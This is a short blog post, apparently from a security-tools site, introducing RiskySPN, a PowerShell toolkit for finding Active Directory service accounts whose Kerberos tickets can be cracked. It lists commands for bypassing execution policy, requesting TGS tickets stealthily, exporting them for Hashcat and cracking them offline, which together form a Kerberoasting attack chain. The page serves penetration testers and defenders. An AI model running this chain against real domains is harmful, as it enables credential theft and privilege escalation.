Categories: Kali Linux

RiskySPN – Collection of PowerShell Scripts Focused on Detecting and Abusing SPNs Accounts

RiskySPN is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active Directory.

Also Read Metasploit Framework – A Beginner’s Guide for Penetration Testing, Exploit Development and Vulnerability Research

RiskySPN Usage

Install the module

Import-Module .\RiskySPNs.psm1
Or just load the script (you can also IEX from the web)
. .\Find-PotentiallyCrackableAccounts.ps1

Make sure Set-ExecutionPolicy is Unrestricted or Bypass

Get information about a function

Get-Help Get-TGSCipher -Full

All functions also have the -Verbosemode

Search vulnerable SPNs

Find vulnerable accounts
Find-PotentiallyCrackableAccounts

Sensitive + RC4 = $$$

Generate full detailed report about vulnerable accounts (CISO <3)
Export-PotentiallyCrackableAccounts

Get tickets

Request Kerberos TGS for SPN
Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"
Or
Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher

The fun stuff 🙂

Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3

R K

Recent Posts

How to Install Docker on Ubuntu (Step-by-Step Guide)

Docker is a powerful open-source containerization platform that allows developers to build, test, and deploy…

9 hours ago

Uninstall Docker on Ubuntu

Docker is one of the most widely used containerization platforms. But there may come a…

9 hours ago

Admin Panel Dorks : A Complete List of Google Dorks

Introduction Google Dorking is a technique where advanced search operators are used to uncover information…

1 day ago

Log Analysis Fundamentals

Introduction In cybersecurity and IT operations, logging fundamentals form the backbone of monitoring, forensics, and…

3 days ago

Networking Devices 101: Understanding Routers, Switches, Hubs, and More

What is Networking? Networking brings together devices like computers, servers, routers, and switches so they…

3 days ago

Sock Puppets in OSINT: How to Build and Use Research Accounts

Introduction In the world of Open Source Intelligence (OSINT), anonymity and operational security (OPSEC) are…

3 days ago